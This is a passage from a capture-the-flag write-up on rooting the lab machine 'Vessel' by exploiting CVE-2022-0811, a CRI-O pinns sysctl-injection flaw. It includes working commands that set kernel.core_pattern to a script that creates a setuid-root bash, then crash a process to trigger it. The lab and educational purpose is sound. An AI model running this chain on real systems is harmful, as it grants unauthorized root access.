ethan@vessel:~$ ls -l /usr/bin/pinns
-rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns
It is owned by root, and the ethan group can run it. It’s also SetUID, so it runs as root.
CVE-2022-0811
Identify
I spent a while trying to figure out what this pinns
binary is. Running it returns an error:
ethan@vessel:~$ pinns
[pinns:e]: Path for pinning namespaces not specified: Invalid argument
Goolging for this error message didn’t get me anywhere. I also searched for the hash in VirusTotal:
It was first uploaded 3 hours and 42 minutes after Vessel was released, and 19 minutes after the user blood was claimed. This suggests that this binary is unique to Vessel, either a custom binary, or something that’s compiled at install.
Googling for “pinns binary linux” returns a Rust-based tool on GitHub (red box), but looking at the command line args in the readme, it’s not the same thing:
The other interesting link (in the green box) is a reference to CVE-2022-0811, which the preview text mentions the “pinns binary”.
The article from sysdig says that CVE-2022-0811 affects CRI-O version 1.19+. Vessel has crio
, and it’s version 1.19.6:
ethan@vessel:~$ crio --version
crio version 1.19.6
Version: 1.19.6
GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState: clean
BuildDate: 2022-03-15T18:18:24Z
GoVersion: go1.15.2
Compiler: gc
Platform: linux/amd64
Linkmode: dynamic
This advisory say that the scope includes 1.19.6:
Impact Scope
\1. Kubernetes clusters that use CRI-O v1.19 or later, including patch versions 1.19.6, 1.20.7, 1.21.6, 1.22.3, 1.23.2, and 1.24.0.
CCE clusters are not affected by this vulnerability because they do not use CRI-O.
Background
CVE-2022-0811 is a vulnerability first discovered researchers at CrowdStrike, and written up in [this post. It is a vulnerability in the CRI-O container engine, an open source container engine which can replace Docker in Kubernetes implementation such as OpenShift. The article from sysdig says:
The CRI-O container engine provides a stable and performant platform for running Open Container Initiative (OCI) compatible runtimes to launch containers and pods by engaging OCI-compliant runtimes like runc.
In CRI-O, pinns
is used to set kernel options. In version 1.19, they added additional sysctl
support, and allowed for pinns
to set any kernel parameters it’s password without validation. While this typically will come up in the context of Kubernetes and pods, the CrowdStrike article explicitly states at the end:
Kubernetes is not necessary to invoke CVE-2022-8011. An attacker on a machine with CRI-O installed can use it to set kernel parameters all by itself. We used Kubernetes in this POC to better illustrate the potential impact of the problem and to more closely simulate how this would likely be used in the wild.
The issue is in how pinns
processes multiple options in one parameter, like this:
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
The +
is used to split the multiple keys, but only the first key (kernel_parameter1
in the above example) is checked to make sure it’s a safe kernel option, and kernel_parameter2
can be any kernel parameter.
Modify Kernel Options [Failure]
The goal is to change kernel options such that I get code execution. There’s a long list of kernel options here. In the CrowdStrike blog, they set kernel.shm_rmid_forced=1
and kernel.core_pattern=|[script] #
. They have to worry about running a script in a container from the host. Given I’m not navigating containers, my path can be much shorter. Setting the value to start with a |
is described in the docs:
If the first character of the pattern is a ‘|’, the kernel will treat the rest of the pattern as a command to run. The core dump will be written to the standard input of that program instead of to a file.
The goal is to then start a process and then make it crash, having set the kernel option to have my script called with the result.
I’ll take a look at the current values of the two parameters I want to modify:
ethan@vessel:/dev/shm$ cat /proc/sys/kernel/shm_rmid_forced
0
ethan@vessel:/dev/shm$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
It’s worth noting that there’s a cleanup script resetting these to the above values every four minutes.
I’ll try to change these with pinns
, but it doesn’t work:
ethan@vessel:/dev/shm$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument
ethan@vessel:/dev/shm$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
ethan@vessel:/dev/shm$ cat /proc/sys/kernel/shm_rmid_forced
0
pinns.c Analysis
The source for pinns
is fairly short (192 lines) and available on GitHub. Towards the top, it defines the options:
static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'},
{"uts", optional_argument, NULL, 'u'},
{"ipc", optional_argument, NULL, 'i'},
{"net", optional_argument, NULL, 'n'},
{"user", optional_argument, NULL, 'U'},
{"cgroup", optional_argument, NULL, 'c'},
{"dir", required_argument, NULL, 'd'},
{"filename", required_argument, NULL, 'f'},
{"sysctl", optional_argument, NULL, 's'},
};
It’s tempting to try running with -h
or --help
, but nothing happens.
Then, lines 46-91 parse the options, and set variables based on the input. There’s also a commented out call to usage()
(a function that doesn’t exist) when it gets to the -h
case (which explains where there’s no help message).
Now there’s a bunch of if
checks that if matched, exit with an error message:
if (!pin_path) {
pexit("Path for pinning namespaces not specified");
}
if (!filename) {
pexit("Filename for pinning namespaces not specified");
}
if (directory_exists_or_create(pin_path) < 0) {
nexitf("%s exists but is not a directory", pin_path);
}
if (num_unshares == 0) {
nexit("No namespace specified for pinning");
}
if (unshare(unshare_flags) < 0) {
pexit("Failed to unshare namespaces");
}
The first one is the message I’m getting when I try to run. It looks like -d
, -f
, and one of -u
, -i
, -n
, -U
, and -c
must be set.
Then comes the important part for me - on lines 113-115 it calls configure_sysctls(sysctls)
:
if (sysctls && configure_sysctls(sysctls) < 0) {
pexit("Failed to configure sysctls after unshare");
}
What happens after that isn’t super important to me, as I’ve already configured the kernel options.
Modify Kernel Options
I’ll run pinns
again, this time with some extra arguments, sort of guessing at things that might work. For example, the directory in -d
has to exist or be creatable. This works:
ethan@vessel:/dev/shm$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/dev/shm/exp.sh #' -f file -d /dev/shm -U
[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted
ethan@vessel:/dev/shm$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced
|/def/shm/exp.sh #
1
It does fail and print and error message, but the kernel options are set. There’s also a userns
directory in /dev/shm
(my -d
) with a single file, file
(my -f
) owned by root:ethan:
ethan@vessel:/dev/shm$ find userns/ -ls
6 0 drwxr-xr-x 2 root ethan 60 Mar 21 22:56 userns/
7 0 ---------- 1 root ethan 0 Mar 21 22:56 userns/file
Crash –> Execution
I’ll write a simple script to /dev/shm/exp.sh
and make it executable:
ethan@vessel:/dev/shm$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4755 /tmp/0xdf' | tee /dev/shm/exp.sh
#!/bin/bash
cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 4755 /tmp/0xdf
ethan@vessel:/dev/shm$ chmod +x /dev/shm/exp.sh
This will make a copy of bash
and set it SetUID. /proc/sys/kernel/core_pattern
already points to this script (I’ll verify again before triggering). I’ll start a sleep process in the background:
ethan@vessel:/dev/shm$ sleep 100&
[1] 202713
Now I’ll use killall
to crash it:
ethan@vessel:/dev/shm$ killall -s SIGSEGV sleep
[1]+ Segmentation fault (core dumped) sleep 100
There’s now a SetUID Bash binary in /tmp
:
ethan@vessel:/dev/shm$ ls -l /tmp/0xdf
-rwsr-xr-x 1 root root 1183448 Mar 21 23:00 /tmp/0xdf
I’ll run that (with -p
to not drop privs) to get a shell with an effective UID of root:
ethan@vessel:/dev/shm$ /tmp/0xdf -p
0xdf-5.0# id
uid=1000(ethan) gid=1000(ethan) euid=0(root) groups=1000(ethan)
And get the root flag:
0xdf-5.0# cat root.txt
efeb1ed9************************
Beyond root
I wanted to look a bit more at the Express / mysqljs vulnerability, more than is required to solve the box. In this video, we’ll look at a 2014 GitHub issue, the docs for the package, explore the vulenrability, and fix the vulnerable code.